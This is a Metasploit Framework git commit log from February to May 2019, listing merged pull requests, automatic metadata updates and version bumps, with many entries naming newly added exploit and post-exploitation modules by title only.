Metasploit cb7da1c2d2 automatic module_metadata_base.json update 2019-05-08 09:42:58 -07:00
Wei Chen 5e24e4cbcf Land #11816, Add CVE-2019-5786 : Chrome 72.0.3626.119 on Windows 7 x86 2019-05-08 09:24:04 -07:00
Metasploit d0e5747145 automatic module_metadata_base.json update 2019-05-06 23:25:57 -07:00
William Vu e5bbc107ba Land #11598, Postgres COPY FROM PROGRAM exploit 2019-05-06 23:17:53 -07:00
Metasploit 32d38be58a automatic module_metadata_base.json update 2019-05-06 13:55:13 -07:00
asoto-r7 f90489dbef Land PR#11780, exploit/multi/misc/weblogic_deserialize_asyncresponseservice 2019-05-06 13:39:30 -07:00
Brent Cook bde5d9091e Land #11803, check for platform-specific env. variables in post-API tests 2019-05-06 07:24:45 -07:00
Caitlin Condon 43cb9d4f62 Land #11804, loadpath command generates bad plural for 'auxiliarys' 2019-05-02 15:37:13 -07:00
Metasploit 44e2a14822 Bump version of framework to 4.17.56 2019-05-02 10:05:18 -07:00
Brent Cook d5cb3b5422 Land #11786, Fix issues with DP RPC commands 2019-05-01 11:25:25 -07:00
Metasploit baf0a65cfc automatic module_metadata_base.json update 2019-05-01 06:46:41 -07:00
Shelby Pace 07ee5721be Land #11779, add Rails Doubletap Dev mode RCE 2019-05-01 06:38:41 -07:00
Metasploit f7c23eb94b automatic module_metadata_base.json update 2019-04-30 16:11:37 -07:00
Brent Cook 951881ec07 Land #11801, Add note about WIP PRs 2019-04-30 15:56:59 -07:00
Brent Cook 953a6b7e57 Land #11781, add GTP-U echo scanner module 2019-04-30 15:55:27 -07:00
Metasploit 0d6bbe8137 automatic module_metadata_base.json update 2019-04-30 05:02:17 -07:00
Jacob Robles c2322a9b08 Land #11673, Add yum persistence module 2019-04-30 04:54:02 -07:00
Metasploit fc2d475fcf automatic module_metadata_base.json update 2019-04-29 12:16:18 -07:00
Wei Chen 338d25abaf Land #11761, Cleanup apport_abrt_chroot_priv_esc 2019-04-29 12:06:26 -07:00
Jacob Robles 2a23d914ed Land #11641, Add AIS RCE 2019-04-29 11:59:28 -07:00
Metasploit 498cba3a7b automatic module_metadata_base.json update 2019-04-29 09:10:53 -07:00
Wei Chen a7f0c223cd Land #11784, Fix NoMethodError in jira_plugin_upload exploit module 2019-04-29 09:02:34 -07:00
Metasploit 1656fa3337 automatic module_metadata_base.json update 2019-04-29 07:04:14 -07:00
Shelby Pace 962902cbef Land #11697, add Pimcore unserialize RCE 2019-04-29 06:55:48 -07:00
Metasploit 7868db7b15 automatic module_metadata_base.json update 2019-04-27 10:47:58 -07:00
Jacob Robles c8bbd1c4d7 Land #11665, Add APT persistence module 2019-04-27 10:39:19 -07:00
William Vu 18972ba724 Land #11778, cmd_psh_payload options hash fix
nil and false are not equivalent here.
2019-04-26 14:31:24 -07:00
Metasploit b464a11bff automatic module_metadata_base.json update 2019-04-26 08:00:23 -07:00
Jacob Robles bc416328ac Land #11783, Allow RHOST option sid_brute 2019-04-26 07:52:06 -07:00
Metasploit e0ab2cf8af automatic module_metadata_base.json update 2019-04-26 07:47:34 -07:00
Jacob Robles 65c9946a01 Land #11745, Add spring-cloud-config-server dir traversal 2019-04-26 07:39:14 -07:00
Metasploit 8c8a5f950e automatic module_metadata_base.json update 2019-04-26 07:13:34 -07:00
Jacob Robles 78f59e175a Land #11782, Update payload cached sizes 2019-04-26 07:05:00 -07:00
Metasploit e97fd9a2a2 automatic module_metadata_base.json update 2019-04-26 05:03:15 -07:00
Brendan Coles cd0917b69d Land #11777, Fix auxiliary/dos/http/apache_range_dos CHECK action 2019-04-26 04:54:50 -07:00
Metasploit f8eb981819 Bump version of framework to 4.17.55 2019-04-25 10:03:55 -07:00
Metasploit 6d61f40b4d automatic module_metadata_base.json update 2019-04-25 07:51:51 -07:00
Jacob Robles 5799e1370a Land #11765, Update NUUO mixin, move code to Rex 2019-04-25 07:43:12 -07:00
Brent Cook 909cf10848 Land #11771, Force UTF-8 for more module metadata fields 2019-04-24 18:25:40 -07:00
William Vu d42f29b681 Land #11766, handling of spaces in tab completion 2019-04-24 11:34:33 -07:00
Metasploit 73b9305c43 automatic module_metadata_base.json update 2019-04-24 11:20:56 -07:00
Brent Cook a406fb2a72 Land #11769, make sure Notes fields show up in info 2019-04-24 11:12:56 -07:00
Metasploit c1a3e66d90 automatic module_metadata_base.json update 2019-04-24 03:56:37 -07:00
Brent Cook 5377826030 Land #11730, add module for CVE-2018-20250
(RARLAB WinRAR ACE Format Input Validation Remote Code Execution)
2019-04-24 03:48:15 -07:00
Metasploit 1ca4aed7e5 automatic module_metadata_base.json update 2019-04-24 03:35:27 -07:00
Brent Cook 8235380a90 Land #11768, implement faster compatible payload logic 2019-04-24 03:21:04 -07:00
Brent Cook 7c4502122e Land #11764, update tested versions for xor_x11_suid_server module 2019-04-24 03:14:17 -07:00
Brent Cook 59971c3ba3 Land #11737, store password from osx/gather/password_prompt_spoof 2019-04-24 03:09:48 -07:00
Metasploit 8501a9beae automatic module_metadata_base.json update 2019-04-20 22:48:21 -07:00
Brendan Coles e5b6106189 Land #11763, Fix AKA references array for rails_doubletap module 2019-04-20 22:33:33 -07:00
Metasploit 0169c0afe5 automatic module_metadata_base.json update 2019-04-19 11:02:36 -07:00
Metasploit d7a89f8341 automatic module_metadata_base.json update 2019-04-19 10:54:58 -07:00
h00die dcc737996e Land #11759 docs update for systemtap 2019-04-19 10:45:24 -07:00
Brent Cook 7e282f9b99 Land #11747, updated test versions for abrt_raceabrt_priv_esc 2019-04-19 09:45:38 -07:00
h00die 8db896d2ab Land #11754 linux priv esc for SystemTap 2019-04-19 05:41:49 -07:00
Wei Chen 56846e723e Land #11646, Add module for Rails "DoubleTap" vulnerability 2019-04-18 14:13:08 -07:00
Metasploit 9bb5b8501e automatic module_metadata_base.json update 2019-04-18 10:32:08 -07:00
Brent Cook 395fa154d3 Land #11753, Update glibc_origin_expansion_priv_esc 2019-04-18 10:22:46 -07:00
asoto-r7 dca368736c Land #11717, exploit/multi/http/confluence_widget_connector 2019-04-18 10:17:00 -07:00
Metasploit a5df0cc7b0 Bump version of framework to 4.17.54 2019-04-18 10:03:43 -07:00
Metasploit 8ebff93ab2 automatic module_metadata_base.json update 2019-04-18 08:14:22 -07:00
Brent Cook 6d51c42ec4 Land #11752, bump payloads 2019-04-18 10:11:59 -05:00
Brent Cook e13e10e01a Land #11746, explicitly spawn a subshell for cmd_exec 2019-04-18 03:25:08 -07:00
Metasploit 659fc7910f automatic module_metadata_base.json update 2019-04-17 11:42:27 -07:00
Brent Cook f5057fb18c Land #11729, Add Libreoffice macro exec exploit module 2019-04-17 11:42:26 -07:00
Metasploit e2cdecd65a automatic module_metadata_base.json update 2019-04-17 00:59:25 -07:00
Brent Cook 497ec42edb Land #11733, add missing osx docs and update compatibility 2019-04-17 00:51:53 -07:00
Metasploit 0857d4f053 Bump version of framework to 4.17.53 2019-04-16 10:48:10 -07:00
Brent Cook bd5ab45fe7 Land #11716, check for directory traversal on internal zip paths 2019-04-16 06:26:38 -07:00
Metasploit 3881c61eb7 automatic module_metadata_base.json update 2019-04-15 05:50:15 -07:00
Jacob Robles c0a5e36b2e Land #11698, Add wp-google-maps unauth SQLi 2019-04-15 05:41:57 -07:00
Jeffrey Martin e023e34a70 Land #11720, Update CONTRIBUTING.md advice on topic branches 2019-04-12 13:25:48 -07:00
Metasploit 7a6dee2510 automatic module_metadata_base.json update 2019-04-12 12:41:16 -07:00
William Vu cc06812ec1 Land #11721, Cisco RV130 exploit updates 2019-04-12 12:33:33 -07:00
Metasploit 2a71b372f2 automatic module_metadata_base.json update 2019-04-12 12:21:50 -07:00
William Vu e53404b478 Land #11613, Cisco RV130 stack BOF exploit 2019-04-12 12:13:17 -07:00
Tim W 8f22c1ad05 Land #11675, add android app api commands 2019-04-12 11:05:22 -05:00
Metasploit edbb2748a5 automatic module_metadata_base.json update 2019-04-12 07:33:38 -07:00
William Vu a3ae0e23b9 Land #11710, Mettle updates 2019-04-12 09:31:37 -05:00
Metasploit 77f652cded automatic module_metadata_base.json update 2019-04-11 14:16:32 -07:00
asoto-r7 9026b9bd2c Land #11690, Add overwrite_config action to cisco_upload_file 2019-04-11 14:07:47 -07:00
Metasploit 1da9e254d5 automatic module_metadata_base.json update 2019-04-11 10:34:27 -07:00
William Vu 878ef81ea6 Land #11714, DUMP_OUTPUT fix for SA-CORE-2019-003 2019-04-11 10:25:51 -07:00
Metasploit 3486093702 Bump version of framework to 4.17.52 2019-04-11 10:02:08 -07:00
Metasploit 640883b6ed automatic module_metadata_base.json update 2019-04-10 15:31:55 -07:00
asoto-r7 3526820f8c Land #11669, exploit/windows/fileformat/microsoft_windows_contact 2019-04-10 15:24:07 -07:00
Metasploit 803b9ad2d5 automatic module_metadata_base.json update 2019-04-10 10:40:29 -07:00
William Vu 10db31ce4f Land #11672, Zimbra XXE and SSRF exploit 2019-04-10 10:32:11 -07:00
Brent Cook 5dfd5d7552 Land #11704, Fix duplicate host header 2019-04-09 19:24:49 -07:00
Metasploit fa065a436f automatic module_metadata_base.json update 2019-04-09 12:05:58 -07:00
Shelby Pace c648d2c9e6 Land #11657, add Horde form file upload 2019-04-09 11:50:36 -07:00
Brent Cook 8bbb5bc8b5 Land #11702, use a released metasm gem for update 2019-04-08 16:16:52 -07:00
Jeffrey Martin f66bdf9a6b Land #11701, Bump rex-powershell version to 0.1.80 2019-04-08 14:09:56 -07:00
Metasploit 46cf0120a2 automatic module_metadata_base.json update 2019-04-08 08:56:46 -07:00
Brent Cook 932c31bd4c Land #11682, don't check 'localhost' unconditionally, fix headers 2019-04-08 08:42:16 -07:00
Brent Cook fc8bbc2e36 Land #11699, fix Failure scoping for psexec 2019-04-08 08:31:28 -07:00
Brent Cook f1946b080b Land #11694, early merge fix for https://github.com/jjyg/metasm/pull/39 2019-04-08 07:22:15 -07:00
Metasploit 3ad3e39c4d automatic module_metadata_base.json update 2019-04-06 13:54:26 -07:00
Pearce Barry 20c5a00ebb Land #11660, Update use_single_quotes to wrap_double_quotes 2019-04-06 13:46:46 -07:00
Metasploit c042174e71 automatic module_metadata_base.json update 2019-04-04 13:33:30 -07:00
Shelby Pace 8f8f31dfd6 Land #11587, add Wordpress core RCE module 2019-04-04 13:25:48 -07:00
Metasploit d2f653ad9c Bump version of framework to 4.17.51 2019-04-04 10:06:48 -07:00
Metasploit bc96ca1e17 automatic module_metadata_base.json update 2019-04-03 17:30:42 -07:00
William Vu ba4f129b6c Land #11685, proper XML encoding for Wemo exploit 2019-04-03 17:23:10 -07:00
Metasploit a14e92987a automatic module_metadata_base.json update 2019-04-03 12:53:01 -07:00
Adam Cammack bcbecddd12 Land #11681, Remove trailing space in metadata 2019-04-03 12:37:39 -07:00
Metasploit c94398b516 automatic module_metadata_base.json update 2019-04-02 13:05:57 -07:00
William Vu 3f3f595e4a Land #11679, duplicate mailcleaner_exec CVE fix 2019-04-02 12:58:18 -07:00
Brent Cook 56e60f6d69 Land #11677, add missing payload specs 2019-04-02 05:25:16 -07:00
Metasploit e3aa147fd2 automatic module_metadata_base.json update 2019-04-01 16:25:34 -07:00
surefire 6dbecac2e9 Land #11136, exploit/multi/misc/weblogic_deserialize_unicastref 2019-04-01 16:17:59 -07:00
Brent Cook 9adcfce250 Land #9434, Fix timing issue with rspec 2019-04-01 17:33:52 -05:00
Metasploit e59ef1b00b automatic module_metadata_base.json update 2019-04-01 14:08:46 -07:00
William Vu bad97a70c4 Land #11636, postgres_createlang version check fix 2019-04-01 14:01:05 -07:00
Metasploit 1cfaac3a9f automatic module_metadata_base.json update 2019-04-01 12:21:57 -07:00
surefire 77313e2f41 Land #11134, exploit/multi/misc/weblogic_serialize_marshalledobject 2019-04-01 12:14:35 -07:00
Metasploit 3ff88d7990 automatic module_metadata_base.json update 2019-04-01 11:53:57 -07:00
William Vu 5ace846cd8 Land #11595, can_flood post module 2019-04-01 11:53:56 -07:00
Metasploit 608d52a6b9 automatic module_metadata_base.json update 2019-03-29 14:32:27 -07:00
Brent Cook a5568ea17a Land #11579, Add support for splunk 7.2.4 to splunk_upload_app_exec 2019-03-29 14:24:48 -07:00
Metasploit 09e733aa9c automatic module_metadata_base.json update 2019-03-29 13:56:05 -07:00
Brent Cook 6af58882d6 Land #11625, add es file explorer open port CVE-2019-6447 module 2019-03-29 13:48:36 -07:00
Metasploit 96d6db2fb9 automatic module_metadata_base.json update 2019-03-29 08:58:37 -07:00
William Vu b196d08339 Land #11635, Authors check for msftidy 2019-03-29 08:51:00 -07:00
Metasploit 4e209e4153 automatic module_metadata_base.json update 2019-03-28 16:03:29 -07:00
Brent Cook 2b22a5e9a3 Land #11482, RV320 Unauthenticated RCE 2019-03-28 15:55:23 -07:00
Metasploit 29515ab3c7 Bump version of framework to 4.17.50 2019-03-28 10:04:15 -07:00
Metasploit 41227d8342 automatic module_metadata_base.json update 2019-03-28 07:18:21 -07:00
Metasploit 84d8a8d79f automatic module_metadata_base.json update 2019-03-27 13:30:58 -07:00
Wei Chen 4af8881c48 Land #11592, Add CMS Made Simple (CMSMS) Showtime2 File Upload RCE 2019-03-27 13:23:35 -07:00
Metasploit d511d16e18 automatic module_metadata_base.json update 2019-03-26 16:54:08 -07:00
Jeffrey Martin 0a6dbdb2ae Land #11637, Fix a git snafu when landing 2019-03-26 16:45:58 -07:00
Metasploit fa5e405531 automatic module_metadata_base.json update 2019-03-26 15:22:53 -07:00
asoto-r7 c2b4cfaa7c Land #11131, Weblogic_serialize_rawobject CVE-2015-4852 2019-03-26 15:13:34 -07:00
Metasploit 03f1ae1e86 automatic module_metadata_base.json update 2019-03-26 12:34:22 -07:00
Metasploit f299041186 automatic module_metadata_base.json update 2019-03-26 11:08:54 -07:00
Brent Cook a9a6c7aba4 Land #11628, Outlook credentials post module update 2019-03-26 11:01:12 -07:00
Brent Cook 6501d7b3f9 Land #11572, bump to Ruby 2.6.2 2019-03-26 10:33:20 -07:00
Jeffrey Martin b9481d441f Land #11603, Fail nicely when load aggregator. 2019-03-25 21:29:38 -07:00
Jeffrey Martin ac7c87bf77 remove merge conflict from lock 2019-03-25 00:03:44 -05:00
Metasploit 3f45469d35 automatic module_metadata_base.json update 2019-03-23 16:10:09 -07:00
Brent Cook 89813e04df Land #11619, improve error handling with exploits/linux/http/panos_readsessionvars 2019-03-23 16:10:09 -07:00
bwatters 1ee55ba949 Land #11614, Update payloads to 1.3.65
Merge branch 'land-11614' into upstream-master
2019-03-23 18:02:30 -05:00
William Vu 197ad6c0d2 Land #11612, ipmi_users.txt update 2019-03-22 09:07:33 -07:00
Metasploit 4cec2b93f9 automatic module_metadata_base.json update 2019-03-22 07:53:06 -07:00
Brent Cook d918be526e Land #11605, Improve tab completion for the load command. 2019-03-22 03:13:37 -07:00
Metasploit 0f3b1f8840 Bump version of framework to 4.17.49 2019-03-21 10:06:03 -07:00
Metasploit f0ddfdb1ed automatic module_metadata_base.json update 2019-03-21 09:43:28 -07:00
Jacob Robles ae55bf9738 Land #11607, Add webmin CVE 2019-03-21 09:35:52 -07:00
Metasploit a54a5463f8 automatic module_metadata_base.json update 2019-03-21 09:32:19 -07:00
William Vu 37135cd48e Land #11606, jenkins_metaprogramming fixes 2019-03-21 09:23:45 -07:00
Jacob Robles f16202d12a Land #11604, fix typo in ffautoregen 2019-03-21 05:05:29 -07:00
Metasploit 4be27622fa automatic module_metadata_base.json update 2019-03-20 05:25:50 -07:00
Brent Cook dee908d650 Land #11585, Add IBM BigFix Sites Packages Enum 2019-03-20 05:17:53 -07:00
Metasploit 400e1ddeff Bump version of framework to 4.17.48 2019-03-19 08:13:58 -07:00
Metasploit 69f3c56611 automatic module_metadata_base.json update 2019-03-18 05:39:14 -07:00
Jacob Robles c4ac4eb5a7 Land #11466, Add Jenkins ACL bypass and metaprogramming RCE 2019-03-18 05:24:33 -07:00
William Vu 47dfac8620 Land #11573, Windows 2019 support in Windows::Priv 2019-03-17 10:16:45 -07:00
William Vu 1acff72f22 Land #11568, Ubiquiti USG SSH LoginScanner support 2019-03-17 10:16:45 -07:00
Brendan Coles 9abcfde2ad Land #11571, Change cable-d to cable-docsis in snmp_default_pass.txt 2019-03-16 16:52:33 -07:00
Metasploit c68b397304 automatic module_metadata_base.json update 2019-03-15 11:32:53 -07:00
Brent Cook 8d01b4de83 Land #11382, Added BMC Patrol Agent Command Exec Module 2019-03-15 11:24:56 -07:00
Metasploit d79f9bf09f automatic module_metadata_base.json update 2019-03-15 06:43:40 -07:00
Brent Cook 5d8a2bb0e9 Land #11564, add a JavaMeterpreterDebug option to the java payloads 2019-03-15 06:22:57 -07:00
Jacob Robles 058cfc1ce9 Land #11385, Add Webmin Upload Exec 2019-03-15 06:20:41 -07:00
Brent Cook f5024ce76f Land #11561, Add OpenSUSE detection to Linux system lib 2019-03-15 05:59:43 -07:00
Brent Cook 162e6a130f Land #11567, Bump ActiveRecord version in PG deprecated warning suppression 2019-03-15 05:58:11 -07:00
Brent Cook 16d88fd2db Land #11553, show user bundler exception, remove outdated advice 2019-03-15 05:58:11 -07:00
William Vu f5604283b2 Land #11554, irb and pry for command shells 2019-03-14 12:01:22 -07:00
Metasploit aa4896e3b7 Bump version of framework to 4.17.47 2019-03-14 10:03:09 -07:00
William Vu 022fa4da57 Land #11558, Ubiquiti UniFi for SSH LoginScanner 2019-03-14 07:56:31 -07:00
Metasploit 19f8187840 automatic module_metadata_base.json update 2019-03-12 22:11:00 -07:00
Brendan Coles badcdda809 Land #11557, Add root/ubnt default creds to wordlists/routers_userpass.txt 2019-03-12 22:11:00 -07:00
Wei Chen 038ed01e9d Land #11547, Add Total.js Directory Traversal module 2019-03-12 22:11:00 -07:00
Metasploit e38891bc05 automatic module_metadata_base.json update 2019-03-11 14:02:39 -07:00
Brent Cook d9ccaea344 Land #11543, tweak rubocop settings 2019-03-11 13:54:25 -07:00
Brent Cook 0860c07e89 Land #11544, add reregister_tcp/udp_options 2019-03-11 13:54:25 -07:00
Metasploit ceaf921a9c automatic module_metadata_base.json update 2019-03-11 13:20:39 -07:00
Metasploit d163ebdfef automatic module_metadata_base.json update 2019-03-11 13:04:59 -07:00
Shelby Pace 3d9f1eef17 Land #11545, Add elFinder Command Injection 2019-03-11 13:04:59 -07:00
Brent Cook 2c928207d4 Land #11535, add deregister_http_client_options 2019-03-10 15:08:16 -05:00
Metasploit 1223b1d672 automatic module_metadata_base.json update 2019-03-07 10:35:47 -08:00
Wei Chen 2f5909b9fc Land #11427, Add Fortinet SSL VPN Bruteforce Login Utility 2019-03-07 10:27:41 -08:00
Metasploit 4fcc04532f Bump version of framework to 4.17.46 2019-03-07 10:03:08 -08:00
Brent Cook a5bcabc9c0 Land #11521, add RMI support for UnicastRef2 responses 2019-03-06 18:07:45 -08:00
Metasploit 55df841a18 automatic module_metadata_base.json update 2019-03-06 18:03:42 -08:00
Brent Cook e669dc6430 Land #11092, Add FreeBSD 8.3 / 9.0 Intel SYSRET Privilege Escalation module 2019-03-06 17:52:15 -08:00
Brent Cook 2541cf09ca Land #10012, Add an Android module to run payloads with su on a rooted device 2019-03-06 17:48:33 -08:00
Metasploit 4a0b23a2de automatic module_metadata_base.json update 2019-03-06 16:02:23 -08:00
Brent Cook a03a4d957a Land #11534, fix module title for sonicwall_xmlrpc_rce 2019-03-06 15:48:49 -08:00
Brent Cook 4faed16e18 Land #11524, remove some unused bits from modules 2019-03-06 15:45:19 -08:00
Metasploit 950037503c automatic module_metadata_base.json update 2019-03-05 23:50:57 -08:00
William Vu 500e1617f6 Land #11419, systemd user service persistence 2019-03-05 23:41:28 -08:00
Metasploit 8169f8d139 automatic module_metadata_base.json update 2019-03-05 20:11:12 -08:00
Metasploit e46034df24 automatic module_metadata_base.json update 2019-03-05 20:01:56 -08:00
William Vu db25dc7148 Land #11210, imperva_securesphere_exec exploit 2019-03-05 19:53:54 -08:00
Metasploit 44d6b0b4b8 automatic module_metadata_base.json update 2019-03-05 19:40:08 -08:00
William Vu 22edc58e44 Land #11527, .rubocop.yml TargetRubyVersion update
And TrailingCommaInArrayLiteral fixes in my modules. :(
2019-03-05 19:32:15 -08:00
Metasploit 7804dca9c4 automatic module_metadata_base.json update 2019-03-05 19:18:42 -08:00
William Vu 2f24f2dfcf Land #11481, Drupal SA-CORE-2019-003/CVE-2019-6340 2019-03-05 19:10:46 -08:00
Metasploit 8179ee07e6 automatic module_metadata_base.json update 2019-03-05 10:52:04 -08:00
Wei Chen 83424eae5e Land #11077, Improvements and documentation for wing_ftp_admin_exec 2019-03-05 10:44:25 -08:00
Metasploit 472326aef5 automatic module_metadata_base.json update 2019-03-05 09:31:40 -08:00
Wei Chen 88997734c9 Land #11397, Add checkJNDI to jboss_vulnscan plus a basic mod doc 2019-03-05 09:23:55 -08:00
Metasploit 1ac60d7c72 automatic module_metadata_base.json update 2019-03-05 09:13:48 -08:00
Wei Chen 3c9e546d2f Land #11423, Moved bruteforce(ip) under the sys_name check 2019-03-05 09:04:25 -08:00
Metasploit 3b8ad6aec2 automatic module_metadata_base.json update 2019-03-04 17:44:31 -08:00
William Vu c390d968e5 Land #11519, error check fix for Crock-Pot module 2019-03-04 17:37:12 -08:00
Metasploit d94a54bd02 automatic module_metadata_base.json update 2019-03-04 17:29:43 -08:00
William Vu 56357b6d55 Land #11518, Wemo module improvements 2019-03-04 17:21:54 -08:00
Metasploit 568a0becf7 automatic module_metadata_base.json update 2019-03-04 16:50:29 -08:00
William Vu 7118787707 Land #11517, reverted CheckCode for Wemo exploit 2019-03-04 16:42:46 -08:00
Metasploit 2bc2224e2a automatic module_metadata_base.json update 2019-03-04 16:36:26 -08:00
William Vu c471f1ddb3 Land #11516, reverted print for Wemo exploit 2019-03-04 16:26:59 -08:00
William Vu 0f583f1e49 Land #11464, version checking for Wemo exploit 2019-03-04 16:20:11 -08:00
Brent Cook dc10e04685 Land #11498, add documentation for the 'jobs' command 2019-03-01 13:55:02 -08:00
Metasploit 7c9e9fc582 automatic module_metadata_base.json update 2019-03-01 12:18:31 -08:00
Brendan Coles 8c2798928e Land #11500, Add more checks to cisco_directory_traversal module 2019-03-01 12:10:37 -08:00
William Vu 19d2c05770 Land #11505, pml_driver_config deprecation 2019-03-01 11:47:35 -08:00
Metasploit 3eb90325fd automatic module_metadata_base.json update 2019-03-01 01:01:03 -08:00
Wei Chen 4de623db51 Land #11461, Update manageengine_deviceexpert_traversal.rb 2019-03-01 00:51:26 -08:00
Metasploit a36129b644 automatic module_metadata_base.json update 2019-02-28 14:24:26 -08:00
Brent Cook 3fbea002a1 Land #11445, always save output with winrm_cmd 2019-02-28 14:13:58 -08:00
Metasploit 68261bf764 Bump version of framework to 4.17.45 2019-02-28 10:03:59 -08:00
h00die ad259db3bc Land #11447 http doc fixes 2019-02-26 17:28:34 -08:00
William Vu 829e274d0d Land #11485, VHOST support for full_uri 2019-02-26 08:38:48 -08:00
William Vu 6c3877d5ed Land #11467, CMDSTAGER::TEMP with WritableDir 2019-02-26 08:38:48 -08:00
Metasploit 3331c4e4b3 automatic module_metadata_base.json update 2019-02-25 12:29:46 -08:00
Brent Cook bacf6d07e0 Land #11483, update various modules to reflect current best practices
Merge remote-tracking branch 'upstream/pr/11483' into upstream-master
2019-02-25 12:21:57 -08:00
Brent Cook e71e3a97aa Land #11446, add msftidy support for SideEffects Stability Reliability check 2019-02-25 09:27:47 -08:00
Metasploit c2a041942c automatic module_metadata_base.json update 2019-02-22 16:14:25 -08:00
William Vu d6abaa9059 Land #11465, author name fixes in a couple modules 2019-02-22 16:02:39 -08:00
Metasploit 2a4c57a49e automatic module_metadata_base.json update 2019-02-22 14:40:49 -08:00
William Vu 8f65ca4108 Land #11463, NOCVE for Wemo exploit 2019-02-22 14:32:55 -08:00
Metasploit 5c3d221e48 automatic module_metadata_base.json update 2019-02-22 12:04:17 -08:00
Brent Cook 37c6bb3902 Land #11460, Changing print_line to print_good 2019-02-22 12:04:17 -08:00
Brent Cook d6e6f21a4d Land #11462, Add Reliability REPEATABLE_SESSION to Wemo exploit 2019-02-22 12:04:17 -08:00
Brent Cook 9c78298602 Land #11451, update module authors to consume JSON cache 2019-02-22 12:04:17 -08:00
Metasploit 363c71ea60 Bump version of framework to 4.17.44 2019-02-21 21:26:33 -08:00
Metasploit 026d38943e automatic module_metadata_base.json update 2019-02-21 20:50:47 -08:00
Pearce Barry 0da81ccff8 Land #11449, enhance BigDecimal deprecation message suppression 2019-02-21 20:42:34 -08:00
Jacob Robles f73b2dbc09 Land #11292, Add exploit for Nuuo CMS SQL injection 2019-02-21 10:45:14 -08:00
Metasploit 1530b4b83f Bump version of framework to 4.17.43 2019-02-21 10:03:17 -08:00
Metasploit 42ea35f524 automatic module_metadata_base.json update 2019-02-20 10:21:06 -08:00
Jacob Robles 61cd6205a8 Land #11291, Add Nuuo CMS session bruteforcing module 2019-02-20 10:21:06 -08:00
Brent Cook 56559f257c Land #11392, only compute prompt expansions as-needed 2019-02-20 10:21:06 -08:00
Brent Cook 6386f80ee8 Land #11407, Add support for showing extra help in msfconsole 2019-02-20 10:21:06 -08:00
Jacob Robles 973c7dac32 Land #11290, Add Nuuo CMS file upload exploit 2019-02-20 10:21:05 -08:00
Brent Cook f6fd9efcee Land #11404, Add manageengine_deviceexpert_user_creds docs 2019-02-20 10:21:05 -08:00
Jacob Robles 80147f5ad8 Land #11293, Add Nuuo CMS file download 2019-02-20 10:21:05 -08:00
Jacob Robles c9467eab96 Land #11289, Add Nuuo mixin 2019-02-20 10:21:05 -08:00
Brent Cook 64c7bba041 Land #11184, update to Ruby 2.6.1 2019-02-20 10:21:05 -08:00
Brent Cook 6f177d891a Land #11393, If an option alias is deregistered, also deregister the original option 2019-02-20 10:21:05 -08:00
Brent Cook b56b28a43f Land #10937, remove server/client from module cache 2019-02-20 12:06:36 -06:00
Jeffrey Martin c51d68dbb7 backport analyze host interation for 4.x 2019-02-20 11:35:53 -06:00
Matthew Kienow 7b2c62584f Land #11191, add analyze command 2019-02-20 10:57:31 -06:00
Metasploit d0d390300e automatic module_metadata_base.json update 2019-02-19 11:56:56 -08:00
Metasploit 6c726f2f2d automatic module_metadata_base.json update 2019-02-19 11:51:37 -08:00
Wei Chen 74a4c79d04 Land #11409, Add Belkin Wemo UPnP RCE 2019-02-19 11:51:37 -08:00
Jacob Robles a2ecece55a Land #11430, Deregister RHOSTS instead of RHOST 2019-02-19 11:51:37 -08:00
Jacob Robles d789c68be3 Land #11439, Add telnet module docs 2019-02-19 11:51:37 -08:00
Jacob Robles b9247aeb36 Land #11436, Add HTTP module docs 2019-02-19 11:51:37 -08:00
Jacob Robles 58756790fc Land #11437, Add winrm docs 2019-02-19 11:51:36 -08:00
Jacob Robles 87b3833276 Land #11438, Add snmp docs 2019-02-19 11:51:36 -08:00
Metasploit d1c71434f0 automatic module_metadata_base.json update 2019-02-19 04:31:58 -08:00
Brendan Coles 22c9aec987 Land #11424, change print_status to print_good 2019-02-19 04:22:57 -08:00
Green-m fb265c4dd6 Land #11416, deprecate get_env meterpreter script. 2019-02-17 19:06:37 -08:00
Brendan Coles 1a9a7a117b Land #11413, minor update to style 2019-02-14 23:24:24 -08:00
Brendan Coles 29045428e3 Land #11411, Fix printing script help with -h for meterpreter scripts 2019-02-14 23:01:55 -08:00
Metasploit 52a6a362e9 Bump version of framework to 4.17.42 2019-02-14 10:06:28 -08:00
h00die 50d9faee1a Land #11384 docs for dir_listing 2019-02-13 17:39:13 -08:00
Metasploit d1b9d60d4d automatic module_metadata_base.json update 2019-02-13 15:10:55 -08:00
William Vu b4fed15d40 Land #11399, cisco_rv320_config updates 2019-02-13 15:02:13 -08:00
Brent Cook 187b38c190 Land #11398, Python 3 compatibility for CVE-2015-1130 2019-02-13 13:33:07 -08:00
Metasploit e72ad17bdd automatic module_metadata_base.json update 2019-02-13 10:50:19 -08:00
Wei Chen 658a5bc8a4 Land #11157, Add Windows Gather Power Shell History module 2019-02-13 10:42:32 -08:00
Wei Chen 8cf0ab5920 Land #11394, Add auxiliary/scanner/http/options doc 2019-02-13 09:55:58 -08:00
Metasploit 8299f3e90a automatic module_metadata_base.json update 2019-02-13 01:18:00 -08:00
Metasploit 04e80dead6 automatic module_metadata_base.json update 2019-02-12 13:20:45 -08:00
Wei Chen a2a02669b4 Land #10731, Add Crock-Pot slow cooker remote control 2019-02-12 13:12:54 -08:00
Metasploit 1c2b642bb5 automatic module_metadata_base.json update 2019-02-12 07:16:09 -08:00
Brent Cook b8efc279c0 Land #11335, Update hash parsing formats for JTR 2019-02-12 07:16:08 -08:00
Brent Cook a4a1fb8381 Land #11387, upgrade pg to version 0.21.0 2019-02-12 07:16:08 -08:00
bwatters 99c9f88bba Land #11388, Bump metasploit-payloads to 1.3.62
Merge branch 'land-11388' into upstream-master
2019-02-12 09:14:06 -06:00
Metasploit cf33f482a1 automatic module_metadata_base.json update 2019-02-11 12:12:26 -08:00
Wei Chen 635ba7abaa Land #11220, Add new PCOM module to send admin commands 2019-02-11 12:05:02 -08:00
Metasploit bb58493d75 automatic module_metadata_base.json update 2019-02-11 10:54:19 -08:00
Wei Chen 2fd623b58f Land #11249, Add .SLK command execution for MSFT Excel 2019-02-11 10:40:02 -08:00
Metasploit 2086f3c503 automatic module_metadata_base.json update 2019-02-09 03:13:16 -08:00
Tim W 3c5cf0441c Land #11152, add macOS adobe flash player type confusion RCE 2019-02-09 02:57:19 -08:00
Metasploit 9885185fd0 automatic module_metadata_base.json update 2019-02-08 17:35:55 -08:00
Wei Chen f3952e4eca Land #11219, New PCOM client module 2019-02-08 17:28:08 -08:00
Metasploit b247d1ad48 automatic module_metadata_base.json update 2019-02-08 17:24:33 -08:00
Wei Chen d2d9d06d1e Land #11239, Add check for writable and nosuid WritableDir 2019-02-08 17:16:28 -08:00
